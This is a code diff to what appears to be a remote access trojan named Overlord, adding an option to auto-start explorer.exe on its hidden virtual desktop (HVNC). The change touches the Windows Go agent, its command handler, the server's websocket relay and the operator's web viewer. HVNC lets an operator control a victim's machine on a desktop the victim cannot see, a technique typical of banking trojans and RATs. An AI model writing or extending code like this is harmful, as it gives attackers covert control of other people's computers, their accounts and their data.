diff --git a/Overlord-Client/cmd/agent/capture/hvnc_windows.go b/Overlord-Client/cmd/agent/capture/hvnc_windows.go index 567bc48..4831b21 100644 --- a/Overlord-Client/cmd/agent/capture/hvnc_windows.go +++ b/Overlord-Client/cmd/agent/capture/hvnc_windows.go @@ -16,35 +16,36 @@ import ( ) var ( - procCreateDesktopW = user32.NewProc("CreateDesktopW") - procOpenDesktopW = user32.NewProc("OpenDesktopW") - procCloseDesktop = user32.NewProc("CloseDesktop") - procSetThreadDesktop = user32.NewProc("SetThreadDesktop") - procGetThreadDesktop = user32.NewProc("GetThreadDesktop") - procSwitchDesktop = user32.NewProc("SwitchDesktop") - procGetCurrentThreadId = kernel32.NewProc("GetCurrentThreadId") - procGetDesktopWindow = user32.NewProc("GetDesktopWindow") - procGetWindowRect = user32.NewProc("GetWindowRect") - procIsWindowVisible = user32.NewProc("IsWindowVisible") - procPrintWindow = user32.NewProc("PrintWindow") - procGetWindow = user32.NewProc("GetWindow") - procGetTopWindow = user32.NewProc("GetTopWindow") - procCreateProcessW = kernel32.NewProc("CreateProcessW") - procSendInputHVNC = user32.NewProc("SendInput") - procGetCursorPosHVNC = user32.NewProc("GetCursorPos") - procWindowFromPoint = user32.NewProc("WindowFromPoint") - procScreenToClient = user32.NewProc("ScreenToClient") - procPostMessageW = user32.NewProc("PostMessageW") - procSendMessageTimeoutW = user32.NewProc("SendMessageTimeoutW") - procSetWindowPos = user32.NewProc("SetWindowPos") - procSetForegroundWindow = user32.NewProc("SetForegroundWindow") - procSetActiveWindow = user32.NewProc("SetActiveWindow") - procSetFocus = user32.NewProc("SetFocus") - procGetForegroundWindow = user32.NewProc("GetForegroundWindow") - procGetAncestor = user32.NewProc("GetAncestor") - procMapVirtualKeyW = user32.NewProc("MapVirtualKeyW") - procToUnicode = user32.NewProc("ToUnicode") - procGetWindowPlacement = user32.NewProc("GetWindowPlacement") + procCreateDesktopW = user32.NewProc("CreateDesktopW") + procOpenDesktopW = user32.NewProc("OpenDesktopW") + procCloseDesktop = user32.NewProc("CloseDesktop") + procSetThreadDesktop = user32.NewProc("SetThreadDesktop") + procGetThreadDesktop = user32.NewProc("GetThreadDesktop") + procSwitchDesktop = user32.NewProc("SwitchDesktop") + procGetCurrentThreadId = kernel32.NewProc("GetCurrentThreadId") + procGetDesktopWindow = user32.NewProc("GetDesktopWindow") + procGetWindowRect = user32.NewProc("GetWindowRect") + procIsWindowVisible = user32.NewProc("IsWindowVisible") + procPrintWindow = user32.NewProc("PrintWindow") + procGetWindow = user32.NewProc("GetWindow") + procGetTopWindow = user32.NewProc("GetTopWindow") + procCreateProcessW = kernel32.NewProc("CreateProcessW") + procSendInputHVNC = user32.NewProc("SendInput") + procGetCursorPosHVNC = user32.NewProc("GetCursorPos") + procWindowFromPoint = user32.NewProc("WindowFromPoint") + procScreenToClient = user32.NewProc("ScreenToClient") + procPostMessageW = user32.NewProc("PostMessageW") + procSendMessageTimeoutW = user32.NewProc("SendMessageTimeoutW") + procSetWindowPos = user32.NewProc("SetWindowPos") + procSetForegroundWindow = user32.NewProc("SetForegroundWindow") + procSetActiveWindow = user32.NewProc("SetActiveWindow") + procSetFocus = user32.NewProc("SetFocus") + procGetForegroundWindow = user32.NewProc("GetForegroundWindow") + procGetAncestor = user32.NewProc("GetAncestor") + procMapVirtualKeyW = user32.NewProc("MapVirtualKeyW") + procToUnicode = user32.NewProc("ToUnicode") + procGetWindowPlacement = user32.NewProc("GetWindowPlacement") + procGetWindowThreadProcessId = user32.NewProc("GetWindowThreadProcessId") ) const ( @@ -164,6 +165,7 @@ var ( hvncWindowToMove uintptr hvncMouseButtons uint32 hvncPendingActivate uintptr + hvncExplorerStarted bool hvncTaskSeq atomic.Uint64 hvncCurrentTaskID atomic.Uint64 hvncCurrentTaskKind atomic.Int64 @@ -186,6 +188,7 @@ const ( hvncTaskKeyDown hvncTaskKeyUp hvncTaskMouseWheel + hvncTaskAutoStartExplorer ) type hvncTask struct { @@ -361,6 +364,7 @@ func CleanupHVNCDesktop() { hvncDesktopHandle = 0 } hvncInitialized = false + hvncExplorerStarted = false if hvncThreadTasks != nil { close(hvncThreadTasks) hvncThreadTasks = nil @@ -450,6 +454,8 @@ func ensureHVNCThread() error { result.err = hvncKeyOnThread(task.vk, false) case hvncTaskMouseWheel: result.err = hvncMouseWheelOnThread(task.delta) + case hvncTaskAutoStartExplorer: + result.err = hvncAutoStartExplorerOnThread() default: result.img, result.err = hvncCaptureDisplayOnThread(task.display) } @@ -503,6 +509,19 @@ func StartHVNCProcess(filePath string) error { return result.err } +func HVNCAutoStartExplorer() error { + if hvncExplorerStarted { + return nil + } + result, err := executeHVNCTask(hvncTask{ + kind: hvncTaskAutoStartExplorer, + }, 15*time.Second) + if err != nil { + return err + } + return result.err +} + func HVNCInputMouseMove(display int, x, y int32) error { result, err := executeHVNCTask(hvncTask{kind: hvncTaskMouseMove, display: display, x: x, y: y}, 3*time.Second) if err != nil { @@ -606,7 +625,7 @@ func hvncThreadWatchdog() { func shouldTraceHVNCTask(kind hvncTaskKind) bool { switch kind { - case hvncTaskMouseDown, hvncTaskMouseUp, hvncTaskKeyDown, hvncTaskKeyUp, hvncTaskMouseWheel, hvncTaskStartProcess, hvncTaskStartProcessInjected: + case hvncTaskMouseDown, hvncTaskMouseUp, hvncTaskKeyDown, hvncTaskKeyUp, hvncTaskMouseWheel, hvncTaskStartProcess, hvncTaskStartProcessInjected, hvncTaskAutoStartExplorer: return true default: return false @@ -633,6 +652,8 @@ func hvncTaskKindName(kind hvncTaskKind) string { return "key_up" case hvncTaskMouseWheel: return "mouse_wheel" + case hvncTaskAutoStartExplorer: + return "auto_start_explorer" default: return fmt.Sprintf("unknown(%d)", kind) } @@ -791,6 +812,60 @@ func startHVNCProcessOnThread(filePath string) error { return nil } +func hvncAutoStartExplorerOnThread() error { + if hvncExplorerStarted { + return nil + } + + found := false + hwnd := getTopWindow(0) + for hwnd != 0 { + var pid uint32 + procGetWindowThreadProcessId.Call(hwnd, uintptr(unsafe.Pointer(&pid))) + if pid != 0 && isExplorerPID(pid) { + found = true + break + } + hwnd = getWindow(hwnd, GW_HWNDNEXT) + } + + if found { + log.Printf("hvnc: explorer.exe already running on HVNC desktop, skipping auto-start") + hvncExplorerStarted = true + return nil + } + + log.Printf("hvnc: no explorer.exe found on HVNC desktop, starting explorer.exe") + err := startHVNCProcessOnThread("explorer.exe") + if err != nil { + return fmt.Errorf("auto-start explorer failed: %w", err) + } + hvncExplorerStarted = true + return nil +} + +func isExplorerPID(pid uint32) bool { + const PROCESS_QUERY_LIMITED_INFORMATION = 0x1000 + hProc, _, _ := kernel32.NewProc("OpenProcess").Call( + PROCESS_QUERY_LIMITED_INFORMATION, 0, uintptr(pid), + ) + if hProc == 0 { + return false + } + defer procCloseHandle.Call(hProc) + + var buf [260]uint16 + size := uint32(len(buf)) + ret, _, _ := kernel32.NewProc("QueryFullProcessImageNameW").Call( + hProc, 0, uintptr(unsafe.Pointer(&buf[0])), uintptr(unsafe.Pointer(&size)), + ) + if ret == 0 { + return false + } + name := strings.ToLower(syscall.UTF16ToString(buf[:size])) + return strings.HasSuffix(name, `\explorer.exe`) +} + func hvncMouseMoveOnThread(display int, x, y int32) error { bounds, _ := hvncResolveCaptureBounds(display) if bounds.Dx() <= 0 || bounds.Dy() <= 0 { diff --git a/Overlord-Client/cmd/agent/handlers/command.go b/Overlord-Client/cmd/agent/handlers/command.go index 6062d09..72e414d 100644 --- a/Overlord-Client/cmd/agent/handlers/command.go +++ b/Overlord-Client/cmd/agent/handlers/command.go @@ -785,6 +785,13 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in // ==================== HVNC COMMANDS ==================== case "hvnc_start": + payload, _ := envelope["payload"].(map[string]interface{}) + autoStartExplorer := false + if payload != nil { + if v, ok := payload["autoStartExplorer"].(bool); ok { + autoStartExplorer = v + } + } env.HVNCMu.Lock() if env.HVNCCancel != nil { env.HVNCCancel() @@ -795,8 +802,8 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in done := make(chan struct{}) env.HVNCDone = done goSafe("hvnc stream", env.Cancel, func() { - log.Printf("hvnc: start requested") - _ = HVNCStart(hvncCtx, env) + log.Printf("hvnc: start requested (autoStartExplorer=%v)", autoStartExplorer) + _ = HVNCStart(hvncCtx, env, autoStartExplorer) close(done) }) env.HVNCMu.Unlock() diff --git a/Overlord-Client/cmd/agent/handlers/hvnc.go b/Overlord-Client/cmd/agent/handlers/hvnc.go index b3fa7c6..cf22201 100644 --- a/Overlord-Client/cmd/agent/handlers/hvnc.go +++ b/Overlord-Client/cmd/agent/handlers/hvnc.go @@ -26,7 +26,7 @@ func GetPersistedHVNCDisplay() int { return hvncPersistedDisplayValue } -func HVNCStart(ctx context.Context, env *rt.Env) error { +func HVNCStart(ctx context.Context, env *rt.Env, autoStartExplorer bool) error { interval, fps := streamInterval("OVERLORD_HVNC_MAX_FPS", 30) capture.SetH264TargetFPS(fps) log.Printf("hvnc: starting stream (max fps %d)", fps) @@ -36,6 +36,14 @@ func HVNCStart(ctx context.Context, env *rt.Env) error { return err } + if autoStartExplorer { + go func() { + if err := capture.HVNCAutoStartExplorer(); err != nil { + log.Printf("hvnc: auto-start explorer error: %v", err) + } + }() + } + ticker := time.NewTicker(interval) defer ticker.Stop() for { diff --git a/Overlord-Server/public/assets/hvnc.js b/Overlord-Server/public/assets/hvnc.js index a5577cf..bebacc7 100644 --- a/Overlord-Server/public/assets/hvnc.js +++ b/Overlord-Server/public/assets/hvnc.js @@ -25,6 +25,7 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js"; const mouseCtrl = document.getElementById("mouseCtrl"); const kbdCtrl = document.getElementById("kbdCtrl"); const cursorCtrl = document.getElementById("cursorCtrl"); + const autoExplorerCtrl = document.getElementById("autoExplorerCtrl"); const qualitySlider = document.getElementById("qualitySlider"); const qualityValue = document.getElementById("qualityValue"); const codecH264 = document.getElementById("codecH264"); @@ -199,7 +200,9 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js"; display: parseInt(displaySelect.value, 10) || 0, }); } - sendCmd("hvnc_start", {}); + sendCmd("hvnc_start", { + autoStartExplorer: autoExplorerCtrl ? autoExplorerCtrl.checked : true, + }); } else { setStreamState("idle", "Stopped"); } @@ -426,7 +429,9 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js"; desiredStreaming = true; lastFrameAt = 0; setStreamState("starting", "Starting stream"); - sendCmd("hvnc_start", {}); + sendCmd("hvnc_start", { + autoStartExplorer: autoExplorerCtrl ? autoExplorerCtrl.checked : true, + }); }); stopBtn.addEventListener("click", function () { desiredStreaming = false; diff --git a/Overlord-Server/public/hvnc.html b/Overlord-Server/public/hvnc.html index 1d654a1..5436b81 100644 --- a/Overlord-Server/public/hvnc.html +++ b/Overlord-Server/public/hvnc.html @@ -127,6 +127,9 @@ + diff --git a/Overlord-Server/src/server/ws-console-rd-hvnc.ts b/Overlord-Server/src/server/ws-console-rd-hvnc.ts index 5ebe36b..e367bdb 100644 --- a/Overlord-Server/src/server/ws-console-rd-hvnc.ts +++ b/Overlord-Server/src/server/ws-console-rd-hvnc.ts @@ -560,7 +560,9 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket, raw: st switch (payload.type) { case "hvnc_start": if (!state.isStreaming) { - sendHVNCCommand(target, "hvnc_start", {}); + sendHVNCCommand(target, "hvnc_start", { + autoStartExplorer: payload.autoStartExplorer !== false, + }); state.isStreaming = true; hvncStreamingState.set(clientId, state); logger.debug(`[hvnc] started streaming for client ${clientId}`);